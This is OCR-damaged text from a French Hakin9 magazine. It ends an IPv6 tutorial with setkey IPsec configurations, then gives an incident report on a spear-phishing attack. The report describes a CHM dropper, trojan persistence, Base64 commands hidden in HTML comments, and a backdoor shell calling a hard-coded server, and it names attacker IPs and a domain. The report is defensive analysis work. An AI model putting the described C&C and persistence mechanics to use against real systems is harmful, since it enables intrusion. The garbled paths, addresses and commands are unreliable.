Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 11: hakin9_05_2010_FR

5201014

attaque

En regravegle geacuteneacuterale lrsquoobjectif dun attaquant est drsquoobtenir des informations sensibles sur un utili-sateur Mais il peut eacutegalement srsquoagir drsquoatteindre

des reacuteseaux speacutecifiques Bien souvent le pirate reacuteussit agrave convaincre lrsquoutilisateur de teacuteleacutecharger et drsquoexeacutecuter une piegravece jointe frauduleuse ou drsquointeragir avec lui

Dans le cadre de cet article et du rapport drsquoanalyse nous analyserons une attaque de type spear-phishing aborderons les meacutethodes utiliseacutees et lrsquoorigine de lrsquoatta-que Dans ce rapport une attaque par spear-phishing a eacuteteacute bloqueacutee et des actions ont eacuteteacute mises en œuvre pour comprendre les principes de fonctionnement de lrsquoat-taque Ce rapport examine les meacutecanismes utiliseacutes pour lattaque les outils de deacutesassemblage et les caracteacuteristi-ques qui ont permis aux utilisateurs de srsquoen preacutemunir

Nous avons utiliseacute plusieurs techniques drsquoinvestigation une analyse statique pour examiner lrsquoensemble des fichiers des outils comme IDA Pro Radare et Hiew pour lrsquoanalyse des fichiers binaires Nous avons eacutegalement analyseacute le malware agrave lrsquoexeacutecution en utilisant des machines virtuelles et des outils drsquoanalyse dynamiques comme Immunity De-bugger Python et Fiddler Des exeacutecutables ont eacutegalement

eacuteteacute modifieacutes pour permettre la simulation dun C amp C et linteraction eacutetant observeacutee avec la machine virtuelle Enfin la reconnaissance du reacuteseau de base a eacuteteacute effectueacutee pour surveiller les systegravemes geacutereacutes par lattaquant

Avec une attaque par spear-phishing et des techniques drsquoingeacutenierie sociale un attaquant peut aiseacutement envoyer un cheval de troie pour prendre les commandes drsquoun site Entre temps lrsquoutilisateur a mis agrave jour le site avec une commande de type download (teacuteleacutechargement) qui agrave son tour a permis au cheval de troie de creacuteer une bac-kdoor Une backdoor est une commande shell basique qui permet agrave un attaquant drsquoacceacuteder agrave un hocircte au niveau du systegraveme drsquoexploitation et ainsi cibler des reacuteseaux speacute-cifiques Le reste de cet article traitera de la reacuteponse agrave lattaque et de lanalyse des eacuteleacutements reacutecupeacutereacutes

une attaque par eacutetapes ndash analyse fonctionnelleDans cette rubrique nous allons expliquer en deacutetail ce qursquoest une attaque par spear-phishing Dans la pre-miegravere partie nous nous inteacuteresserons agrave la phase ougrave lrsquoattaquant envoie un e-mail avec une piegravece jointe frau-duleuse Cette piegravece jointe nrsquoest autre qursquoun cheval de troie qui permet de prendre le controcircle du site Lrsquoeacutetape suivante consiste pour le malware agrave teacuteleacutecharger et

Rapport drsquoanalyse drsquoune attaque par spear-phishing

Le Spear-Phishing est un phishing cibleacute lattaque est techniquement similaire au phishing mais cible un petit nombre de victimes par courrier eacutelectronique Lrsquoattaque varie selon les intentions du pirate qui lrsquoinitie

Cet aRtICLe eXPLIquebull Analyse drsquoune attaque de type spear-phishing

Ce qursquoIL Faut SaVOIRbull Langage Python

adam Pridgen Matthew Wollenweber

Figure 1 Appel du fichier CHM agrave lrsquoexeacutecutable svchostexe Figure 2 Cleacute de registre relative agrave lrsquoemplacement du malware

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 15

Lorsque le programme est exeacutecuteacute une cleacute est enre-gistreacutee dans le registre de Windows pour lancer auto-matiquement le troyen au deacutemarrage de lrsquoordinateur

La figure 2 repreacutesente la cleacute de registre et son emplace-ment La cleacute est une cleacute de deacutemarrage peu utiliseacutee Lors-que la cleacute de registre est deacutefinie le fichier binaire reacutecupegravere lrsquohocircte et lrsquoURL qui permettront drsquoenvoyer des commentai-res sur le site Web Les commandes inteacutegreacutees agrave la page sont encodeacutees en Base 64 et sont comprises entre les balises lt-- hellip --gt Lrsquoanalyse statique du troyen reacutevegravele qursquoil nrsquoy a que quelques commandes connues dont

bull sleepbull downloadbull connectbull cmdbull quit

En cours drsquoanalyse seules les commandes sleep et down-load ont eacuteteacute utiliseacutees par lrsquoattaquant La commande sleep oblige au programme agrave ne rien faire pendant un laps de temps deacutetermineacute selon le paramegravetre passeacute agrave la fonction Lrsquoanalyse live a montreacute que la page de lrsquoattaquant eacutetait reacuteactualiseacutee toutes les 10 minutes La commande down-

installer une backdoor crsquoest-agrave-dire une porte deacuterobeacutee Nous discuterons eacutegalement de la porte deacuterobeacutee

Charges virales primaires et secondairesLa premiegravere eacutetape drsquoune attaque par spear-phishing correspond agrave lrsquoenvoi drsquoun e-mail laquo creacutedible raquo en utilisant des techniques drsquoingeacutenierie sociale Cet e-mail a pour but de manipuler lrsquoutilisateur en gagnant sa confiance ou en attisant sa curiositeacute Cette manipulation se sert de vraies ou fausses informations en plus drsquoinformations personnelles pour faire croire agrave lrsquoutilisateur qursquoil srsquoagit drsquoun e-mail de confiance Lorsque lrsquoutilisateur accepte lrsquoattaquant poursuit le deacuteroulement de son plan Dans le cas preacutesent nous nous inteacuteresserons uniquement agrave la piegravece jointe En effet les autres sections contiennent des informations personnelles et donc sensibles

La piegravece jointe contient un cheval de troie Avant lrsquoen-voi de lrsquoe-mail lrsquoattaquant a pris le soin de se renseigner sur lrsquoentreprise etou son utilisateur Le contenu de lrsquoe-mail est donc speacutecifique lrsquoutilisateur est suffisamment confiant pour ouvrir la piegravece jointe Lorsquelle est ouverte un cheval de troie est exeacutecuteacute et se lance en tacircche de fond sur la machine cible Dans le cas preacute-sent la piegravece jointe est au format CHM (fichier drsquoaide Microsoft compileacute en HTML) qui permet drsquoinstaller et de lancer le processus malveillant svchostexe comme illustreacute agrave la figure 3

La figure 1 preacutesente la portion de code CHM qui permet de mettre en œuvre cette technique Le fichier CHM utilise des contenus lieacutes agrave des logiciels open-source pour exploiter des failles sur la machine cible Les contenus regroupent diverses informations sur le site Web ainsi que des donneacutees officielles provenant de la Federal Reserve Board (FRB) relatives au deacutevelop-pement des fonds moneacutetaires mondiaux

Figure 3 Cheval de troie lanceacute par le fichier CHM Figure 4 Commande HTTP HEAD lanceacutee sur tous les serveurs

5201016

attaque

load permet de teacuteleacutecharger et drsquoexeacutecuter un fichier binaire speacutecifieacute par lrsquoattaquant Cette commande autorise un hocirc-te ou FQDN en plus drsquoun URI Elle srsquoappuie sur la librairie WinHTTP pour eacutetablir des connexions reacuteseaux Au bout de 8 heures la page Web de lrsquoattaquant est mise agrave jour avec cette commande et le troyen reccediloit lrsquoemplacement du nouveau binaire agrave exeacutecuter Un script a eacuteteacute utiliseacute agrave la pla-ce du troyen pour suivre et manipuler le site Une fois la commande reccedilue le script a teacuteleacutechargeacute le binaire agrave par-tir du site Une fois le binaire reacutecupeacutereacute il a eacuteteacute analyseacute il srsquoagissait drsquoune porte deacuterobeacutee La prochaine section deacute-taille le mode de fonctionnement de ce binaire

La porte deacuterobeacutee (backdoor)Une fois le nouveau binaire reacutecupeacutereacute sur le site de lrsquoattaquant les proprieacuteteacutes fonctionnelles et autres ca-racteacuteristiques ont eacuteteacute rapidement passeacutees en revue Eacutetant donneacute la dangerositeacute du binaire nous avons creacuteeacute un environnement priveacute et seacutecuriseacute pour reproduire les commandes et controcircler le serveur en interne Le bi-naire a eacuteteacute modifieacute pour srsquoadapter agrave notre CampC eacutemuleacute et srsquoexeacutecuter sur une machine virtuelle Voici les actions qui se produisent sans intervention humaine

une fois la porte deacuterobeacutee installeacutee sur le disque de lrsquohocirc-te lrsquoattaquant exeacutecute le fichier binaire avec WinExec Au cours de cette eacutetape la porte deacuterobeacutee utilise des sockets WSA pour se connecter agrave un serveur hard-coded (codeacute en dur) sur un port speacutecifique Si la porte deacuterobeacutee rencontre des erreurs il nest pas possible de se connecter au ser-veur elle se deacutesinstalle automatiquement en supprimant lrsquoimage de lrsquoexeacutecutable sur le disque avant de se fermer

Si la porte deacuterobeacutee reacuteussit agrave eacutetablir une connexion elle envoie la chaicircne encodeacutee en Base 64 puis se connecte

ensuite le client peut renvoyer nrsquoimporte quel type drsquoinformation La porte deacuterobeacutee dispose de fonctions limiteacutees mais le nombre de ses commandes permet de prendre le controcircle du systegraveme drsquoexploitation La porte deacuterobeacutee accepte les donneacutees en entreacutee des processus par cmd ou des commandes quit (fermeture) Si la com-mande quit est saisie la backdoor effectue lrsquoensemble des actions aboutissant agrave lrsquoauto-destruction

Le cmd invoque un shell basique Dans cet environne-ment les commandes accepteacutees sont celles speacutecifiques aux systegravemes drsquoexploitation des exeacutecutables dans un che-min drsquoaccegraves speacutecifique cd quit et exit La commande cd permet de changer drsquoemplacement de reacutepertoire Les com-mandes quit et exit permettent de quitter le mode shell

Protections systegraveme Spear-PhishingLe systegraveme mis en place pour le phishing semble ecirctre conccedilu pour eacuteviter le maximum de dommages en cas de suppression de lrsquoun de ses composants logiciels En outre les composants malveillants nrsquoont pu ecirctre identifieacutes par les anti-virus (AV) ou des systegravemes de preacuteventions drsquointrusion (IPS) classiques Ces observations deacutecoulent du fait que les serveurs nrsquoont pas eacuteteacute utiliseacutes pendant une semaine apregraves la premiegravere analyse Il y a eu une tentative pour identifier drsquoautres serveurs utilisant des canaux de controcircles similaires par des moteurs de recherche mais ces moteurs ne conservent pas les commentaires HTML comme meacutetadonneacutees Une alternative aux moteurs de recherche est de crawler (parcourir) le Web agrave la recher-che drsquohocirctes pour identifier les commentaires en Base 64 dans chaque page Compte tenu du temps imparti reculer lrsquoeacutecheacuteance nrsquoeacutetait pas envisageable

En ce qui concerne les protections binaires le dropper (injecteur du cheval de troie) de base est un CHM dispo-sant drsquoune charge virale et placeacute sur le disque Le cheval de troie nrsquoest pas en format packageacute et est un binaire non crypteacute il communique avec lrsquoattaquant par texte brute Lorsque le troyen se ferme il ne se deacutesinstalle pas du disque et se lance agrave chaque deacutemarrage du posteFigure 5 Fichiers CHM extraits

Figure 6 Affichage des chaicircnes avec les chaicircnes deacutecodeacutees en Base 64 via Python

Figure 7 Code qui permet de teacuteleacutecharger un fichier du serveur controcircleacute par un attaquant

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 17

La porte deacuterobeacutee teacuteleacutechargeacutee ulteacuterieurement dans lrsquoatta-que est dans un format binaire non proteacutegeacute Il est ni crypteacute ni packageacute La backdoor communique eacutegalement avec les serveurs de lrsquoattaquant en utilisant des canaux de texte brut Contrairement au troyen la porte deacuterobeacutee se deacutesinstalle du disque agrave chaque fermeture ou en cas drsquoerreur

analyse deacutetailleacutee du systegraveme spear-phishingDans ce chapitre nous allons expliquer la meacutethodologie de notre analyse Nous allons deacutecouvrir les outils et processus utiliseacutes pour reacutealiser lrsquoanalyse drsquoune attaque par spear-phishing Lrsquoanalyse met lrsquoaccent sur plusieurs domaines drsquoeacutetude Lrsquoobjectif est drsquoobtenir des preuves tangibles sur lrsquoattaque du pirate informatique afin drsquoy reacutepondre de ma-niegravere approprieacutee et au final rechercher les failles qui per-mettraient de srsquoimmiscer dans le reacuteseau de lrsquoattaquant

Les analyses des diffeacuterentes composantes nont pas eacuteteacute effectueacutees dans lordre ougrave elles sont eacutenonceacutees dans les sous-sections suivantes mais le deacutetail des sous-sec-tions reacutevegravele comment lanalyse est effectueacutee et quelle information est acquise par lanalyse La premiegravere sous-partie traite des informations obtenues suite agrave lrsquoanalyse des serveurs web externes Dans la section suivante nous nous inteacuteresserons plus speacutecifiquement au dropper et au troyen utiliseacutes par les attaquants ainsi qursquoagrave lrsquoana-lyse de la porte deacuterobeacutee reacutecupeacutereacutee sur le site pirate

analyse serveurLa meacutethodologie de lrsquoanalyse des serveurs web eacutetait prin-cipalement en black-box sachant que nous nrsquoavions pas

accegraves aux systegravemes Par ailleurs les phases drsquoanalyse et de reconnaissance devaient rester discregravetes Les reacutesul-tats obtenus suite agrave lrsquoanalyse serveur srsquoappuient sur les meacutetadonneacutees recueillies et les reacutesultats qui en deacutecoulent Les reacutesultats se sont appuyeacutes sur les requecirctes des en-tecirctes HTTP sachant que les trois serveurs tournaient sous Microsoft IIS 60 ce qui signifie que les serveurs tournent avec un systegraveme drsquoexploitation Microsoft Server 2003

Le serveur qui a lanceacute le cheval de troie a lrsquoadresse IP 20322022138 est fonctionnel depuis le Jeudi 16 Oc-tobre 2008 110256 et correspond au domaine techsuscomau Une rapide recherche sur Google montre que ce site est en place depuis un bon moment Par ailleurs une signature McAfee existe pour cette porte deacuterobeacutee et est active depuis Septembre 2007 (Backdoor-DMG McA-fee Inc httpvilnaicomvilcontentv_143081htm) Le serveur qui a heacutebergeacute cette porte deacuterobeacutee a reacutecemment reccedilu des modifications sur sa page index qui semble dis-poser de commandes de controcircle hosting comme illustreacute agrave la Figure 4 Le serveur sur lequel se connecte la porte deacuterobeacutee a pour adresse 6322812819 et est fonctionnel

Figure 8 Cheval de troie contactant un serveur hard-coded pour les commandes

Figure 9 Interception du trafic web du cheval de troie par Fiddler

Figure 10 Tokens utiliseacutes pour identifier les commandes de la page web

Figure 11 Immunity Debugger affiche la commande parseacutee par le cheval de troie

5201018

attaque

depuis le Lundi 25 Juin 2007 130604 GMT Les reacutesultats relatifs aux en-tecirctes HTTP apparaissent agrave la Figure 4

analyses primaires et secondaires des charges viralesLa piegravece jointe de lrsquoe-mail de phishing est un fichier drsquoaide compileacute HTML de Microsoft autrement dit un fichier CHM Ces types de fichiers fournissent de lrsquoaide aux utilisateurs sous environnements Microsoft Windows Ils permettent eacutegalement de consulter facilement des e-books Pour obtenir lrsquointeacutegraliteacute du contenu du fichier CHM nous avons utiliseacute le logiciel CHMDumper dispo-nible sur Mac Cette application nous a permis drsquoextraire lrsquoensemble des fichiers et reacutepertoires et drsquoobtenir des in-formations speacutecifiques sur le cheval de troie et le fichier HTML qui permet de le lancer Error Reference source not found La page suivante montre les fichiers extraits par CHMDumper mais le plus gros de lrsquoanalyse srsquoest fait avec svchostexe et FRB Conference on Key Develop-ments in Monetary Economichtm La Figure 3 abordeacutee dans les paragraphes preacuteceacutedents montre en deacutetail les eacuteleacutements agrave lrsquoorigine de lrsquoexeacutecution du cheval de troie

Lrsquoanalyse statique est utiliseacutee pour veacuterifier si le binaire est ou non proteacutegeacute puis met en eacutevidence les chaicircnes ou fonctions importantes La premiegravere eacutetape dans lrsquoanalyse drsquoun cheval de troie est drsquoutiliser des commandes Unix pour veacuterifier si le binaire est proteacutegeacute dispose de donneacutees de controcircle Mais nous avons pu eacutegalement observer que certains jeux drsquoinstructions eacutetaient encodeacutes en Base 64 et drsquoautres eacutetaient des adresses IP et URI Nous avons noteacute

lrsquoutilisation de commandes HTTP et de lrsquoAPI WinINet agrave par-tir des tables importeacutees comme indiqueacute en Figure 6

Une fois que nous avons obtenu un aperccedilu du cheval de troie le fichier binaire est analyseacute avec IDA Pro pour eacutetudier la maniegravere dont les chaicircnes de caractegraveres sont traiteacutees et pour reacutealiser une analyse de code statique Lrsquoanalyse sous IDA Pro a permis drsquoidentifier les routines qui initiaient la connexion agrave la page drsquoauthentification ainsi que les fonctions responsables du teacuteleacutechargement du malware La Figure 8 montre lrsquohocircte qui est contacteacute par le cheval de troie pour obtenir une nouvelle commande de lrsquoattaquant La Figure 7 montre la routine qui initie le teacuteleacutechargement Au cours de cette eacutetape le logiciel GNU Wget permet drsquoobtenir une co-pie de la page comme illustreacute en Figure 8 Les commandes de base dans la page eacutetaient relativement complexes mais apregraves analyse sous IDA Pro les tokens utiliseacutes par le che-val de troie eacutetaient lisibles La Figure 10 montre la portion de code qui permet de reacutecupeacuterer les commandes de la page web Les tokens (lt-- --gt) sont consideacutereacutes comme des commentaires et de ce fait ne sont pas parseacutes (analyseacutes et exeacutecuteacutes) par le navigateur ce qui explique que nous ne les retrouvons pas dans lrsquoaffichage de la page HTML

Lrsquoanalyse dynamique est utiliseacutee pour veacuterifier les hypothegraveses preacuteceacutedentes et identifier les aspects fonc-tionnels qui nous auraient eacutechappeacute durant lrsquoanalyse sta-tique Pour lrsquoanalyse live une machine virtuelle avec les logiciels Immunity Debugger et Fiddler a eacuteteacute utiliseacutee

Des points drsquoarrecirct ont eacuteteacute placeacutes aux endroits citeacutes preacuteceacutedemment Etant donneacute que le cheval de troie uti-lise lrsquoAPI WinINet le programme Fiddler Web Debugger a eacuteteacute utiliseacute pour surveiller les communications entre le troyen et le serveur web

La Figure 9 montre Fiddler en action alors que le logiciel intercepte des requecirctes web entre le serveur de lrsquoatta-quant et le cheval de troie Cette meacutethode nous a permis drsquoidentifier lrsquoen-tecircte HTTP User-Agent speacutecifiquement au troyen Lorsque lrsquohocircte est compromis par le cheval de troie ce dernier deacutefinit lrsquoen-tecircte User-Agent comme hocircte +Windows+NT+51 par exemple le nom drsquohocircte pour apridgene8fb8+ Windows+NT+51 serait apridgen-e8fb8 Apregraves avoir utiliseacute Immunity Debugger pour veacuterifier les donneacutees entreacutees comme indiqueacute en Figure 11 nous nous sommes axeacutes sur lrsquoanalyse du prochain binaire

Figure 12 Commandes passeacutees entre le client et le serveur

Figure 13 Deuxiegraveme tentative pour reacutecupeacuterer le binaireFigure 14 Requecircte du faux cheval de troie et reacuteponse de la commande sleep command

Rapport drsquoanalyse drsquoune attaque par spear-phishing

hakin9orgfr 19

Une fois les meacutecanismes du cheval de troie mis agrave jour plusieurs requecirctes ont eacuteteacute envoyeacutees au serveur de lrsquoatta-quant mais les commandes de la page web sont resteacutees inchangeacutees pendant plus de vingt minutes En raison de la nature incontrocirclable drsquoun cheval de troie une impleacutemen-tation en langage Python du cheval de troie client a eacuteteacute deacuteveloppeacutee Le client ne srsquoest servi que des commandes sleep et download apregraves analyse avec IDA Pro

Apregraves avoir testeacute des iteacuterations au niveau client nous avons laisseacute le programme poursuivre son exeacutecution La Figure 16 preacutesente une capture drsquoeacutecran du client final pour le cheval de troie La Figure 15 montre une capture eacutecran de la requecircte entre le client (cheval de troie) et le serveur web La requecircte du cheval de troie est en surbrillance dans le cadre bleu et la commande figurant dans la reacuteponse du serveur apparaicirct dans le cadre rouge Apregraves six heures de tests (polling) sur le site la commande utiliseacutee a changeacute pour la commande download La Figure 12 montre le temps eacutecouleacute agrave partir du moment ougrave le script est exeacutecuteacute jusqursquoau moment ougrave la commande download est initieacutee La Figure 13 de la page preacuteceacutedente affiche la reacuteponse HTTP 404 apregraves la deuxiegraveme tentative pour reacutecupeacuterer le binaire

analyse de la porte deacuterobeacutee (backdoor)Le fichier binaire obtenu a eacuteteacute identifieacute en utilisant des commandes Unix puis en analysant les chaicircnes de carac-tegraveres Certaines chaicircnes preacutesentes dans le fichier binaire ressemblaient agrave celles du cheval de troie eacutetant donneacute qursquoelles eacutetaient encodeacutees en Base 64 Une autre chaicircne inteacuteressante comportait une adresse IP et un port hard-coded Une analyse avanceacutee a montreacute que ce serveur et le port en question permettaient drsquoeacutetablir des appels vers le serveur une fois le fichier binaire exeacutecuteacute La Figure 17 affiche les commandes du cheval de troie preacutesentes dans la porte deacuterobeacutee Ce lien nous a permis drsquoeacutemettre lrsquohypo-thegravese que la porte deacuterobeacutee et le cheval de troie partagent le mecircme code Apregraves lrsquoanalyse statique similaire agrave celle

deacutecrite dans le chapitre preacuteceacutedent un environnement vir-tuel a eacuteteacute mis en place pour analyser la porte deacuterobeacutee Lrsquoenvironnement comportait une version reacutecente drsquoUbuntu avec Apache et une page de commandes fondeacutee sur le fichier loginhtml citeacute preacuteceacutedemment Le cheval de troie et la porte deacuterobeacutee ont ensuite eacuteteacute modifieacutes pour tester le trafic reacuteseau en interne Le malware a eacuteteacute modifieacute avec Radare Une fois la page de commandes HTML modifieacutee le cheval de troie la porte deacuterobeacutee et lrsquoensemble des fi-chiers sont placeacutes dans le reacutepertoire Web du serveur Apa-che et une analyse live est reacutealiseacutee Le cheval de troie est ensuite teacuteleacutechargeacute sur lrsquohocircte servant de test puis exeacutecuteacute pour simuler une attaque par phishing Une fois exeacutecuteacute lrsquoexeacutecutable svchostexe sonde le serveur web eacutetant don-neacute qursquoil a eacuteteacute modifieacute La page HTML hard-coded initie le teacuteleacutechargement de la porte deacuterobeacutee par lrsquointermeacutediaire du cheval de troie puis lrsquoexeacutecute

Une fois la porte deacuterobeacutee lanceacutee Immunity Debugger analyse le processus Comme indiqueacute preacuteceacutedemment si la porte deacuterobeacutee provoque des erreurs elle srsquoauto-deacutetruit et se deacutesinstalle du disque hocircte La majoriteacute des erreurs provenaient des modifications apporteacutees au fichier binaire et non pas du listener (logiciel drsquoeacutecoute)

Pour acceacuteleacuterer la phase drsquoanalyse des fonctions binai-res et un serveur classique pour la porte deacuterobeacutee ont eacuteteacute impleacutementeacutes avec le langage Python Lrsquoimpleacutementation gegravere lrsquoeacutecoute la reacuteception et le deacutecodage des messages ainsi que lrsquoencodage et lrsquoenvoi des commandes agrave la porte deacuterobeacutee

La Figure 21 preacutesente une capture drsquoeacutecran des fonc-tions utiliseacutees Pour reacutecapituler le setup_listener eacutecoute les connexions sur lrsquoadresse IP et le port speacutecifieacute La fonction recv_data reccediloit les donneacutees en entreacutee sur le socket et get_next_string lit la taille du message et la Base 64 deacutecode la prochaine suite de N caractegraveres La Figure 21 montre un message type avant traitement Les quatre premiers caractegraveres permettent de connaicirc-tre la taille du fichier au format ASCII et la longueur de la chaicircne traiteacutee tels que les donneacutees de la porte deacuterobeacutee Pour finir send_cmd prend en entreacutee une chaicircne de com-mandes et un socket puis envoie agrave la porte deacuterobeacutee une commande encodeacutee en Base 64 au socket

La Figure 21 repreacutesente un listener de porte deacuterobeacutee en cours drsquoutilisation La ligne 302 indique que le listener est en eacutecoute et attend une connexion La ligne 303 montre une commande cmd envoyeacutee agrave la porte deacuterobeacutee Cette commande invoque la commande de lrsquoenvironne-ment de la porte deacuterobeacutee Les eacuteleacutements inutiles (dir Ctextbackslash) sont ignoreacutes par la commande initialisant

Figure 15 Impleacutementation basique du cheval de troie eacutecrit en Python

Figure 16 Commandes du binaire de la porte deacuterobeacutee

5201020

attaque

la routine Nous voyons dans le cas preacutesent la chaicircne de connexion envoyeacutee par la porte deacuterobeacutee suivie drsquoune invite de commande Base 64 avec le reacutepertoire courant La ligne 305 affiche un listing du reacutepertoire courant Les lignes 306 et 309 traitent la commande Les autres com-mandes de lrsquoenvironnement du backdoor comprennent la commande cd qui permet de changer de reacutepertoire puis de clore et quitter lrsquoenvironnement La seule autre commande agrave laquelle la porte deacuterobeacutee semblait reacutepon-dre eacutetait la commande quit Cette commande permet de deacutesinstaller complegravetement la porte deacuterobeacutee puis de quitter Les autres entreacutees ont eacuteteacute ignoreacutees

